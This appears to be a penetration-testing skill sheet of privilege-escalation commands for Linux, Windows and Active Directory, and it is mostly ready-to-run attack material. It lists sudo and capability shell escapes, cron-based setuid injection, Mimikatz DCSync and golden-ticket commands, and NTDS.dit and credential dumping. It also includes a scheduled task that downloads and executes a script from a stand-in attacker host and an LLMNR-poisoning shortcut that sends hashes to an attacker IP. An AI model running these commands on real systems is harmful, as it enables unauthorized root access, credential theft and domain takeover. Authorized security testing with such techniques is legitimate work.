Privilege Escalation Methods

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/​administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/​Prerequisites

• Initial low-privilege shell access on target system
• Kali Linux or penetration testing distribution
• Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
• Understanding of Windows/​Linux privilege models
• For AD attacks: Domain user credentials and network access to DC

Outputs/​Deliverables

• Root or Administrator shell access
• Extracted credentials and hashes
• Persistent access mechanisms
• Domain compromise (for AD environments)

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Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/​bin/​bash'
sudo find /​etc/​passwd -exec /​bin/​bash \;
sudo awk 'BEGIN {system("/​bin/​bash")}'
sudo python -c 'import pty;pty.spawn("/​bin/​bash")'
sudo perl -e 'exec "/​bin/​bash";'
sudo less /​etc/​hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /​bin/​bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /​etc/​cron*
cat /​etc/​crontab

# Inject payload into writable script
echo 'chmod +s /​bin/​bash' > /​home/​user/​systemupdate.sh
chmod +x /​home/​user/​systemupdate.sh

# Wait for execution, then:
/​bin/​bash -p

3. Abusing Capabilities

# Find binaries with capabilities
getcap -r / 2>/​dev/​null

# Python with cap_setuid
/​usr/​bin/​python2.6 -c 'import os; os.setuid(0); os.system("/​bin/​bash")'

# Perl with cap_setuid
/​usr/​bin/​perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/​bin/​bash";'

# Tar with cap_dac_read_search (read any file)
/​usr/​bin/​tar -cvf key.tar /​root/​.ssh/​id_rsa
/​usr/​bin/​tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /​tmp/​mount
mount -o rw,vers=2 <victim_ip>:/​tmp /​tmp/​mount
cd /​tmp/​mount
cp /​bin/​bash .
chmod +s bash

5. MySQL Running as Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /​bin/​bash
exit
/​bin/​bash -p

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Windows Privilege Escalation

1. Token Impersonation

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/​c net user Administrator Password!@# /​domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

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Active Directory Attacks

1. Kerberoasting

# Using Impacket
GetUserSPNs.py domain.local/​user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

.\Rubeus.exe asreproast

3. Golden Ticket

# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /​user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /​user:Administrator /​domain:domain.local `
  /​sid:S-1-5-21-... /​rc4:<NTLM_HASH> /​id:500

4. Pass-the-Ticket

.\Rubeus.exe asktgt /​user:USER$ /​rc4:<NTLM_HASH> /​ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /​patch
mimikatz# lsadump::lsa /​patch

# 2. Create golden ticket
mimikatz# kerberos::golden /​user:Administrator /​rc4:<HASH> `
  /​domain:DOMAIN /​sid:<SID> /​ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /​create /​S DOMAIN /​SC Weekly /​RU "NT Authority\SYSTEM" `
  /​TN "enterprise" /​TR "powershell.exe -c 'iex (iwr http://attacker/​shell.ps1)'"
schtasks /​run /​s DOMAIN /​TN "enterprise"

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Credential Harvesting

LLMNR Poisoning

# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

vssadmin create shadow /​for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

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Quick Reference

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Constraints

Must:

• Have initial shell access before attempting escalation
• Verify target OS and environment before selecting technique
• Use appropriate tool for domain vs local escalation

Must Not:

• Attempt techniques on production systems without authorization
• Leave persistence mechanisms without client approval
• Ignore detection mechanisms (EDR, SIEM)

Should:

• Enumerate thoroughly before exploitation
• Document all successful escalation paths
• Clean up artifacts after engagement

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Examples

Example 1: Linux Sudo to Root

# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /​usr/​bin/​vim

# Exploit vim
$ sudo vim -c ':!/​bin/​bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

# Request service tickets
$ GetUserSPNs.py domain.local/​jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

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Troubleshooting

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Additional Resources

For detailed enumeration scripts, use:

• LinPEAS: Linux privilege escalation enumeration
• WinPEAS: Windows privilege escalation enumeration
• BloodHound: Active Directory attack path mapping
• GTFOBins: Unix binary exploitation reference

When to Use

This skill is applicable to execute the workflow or actions described in the overview.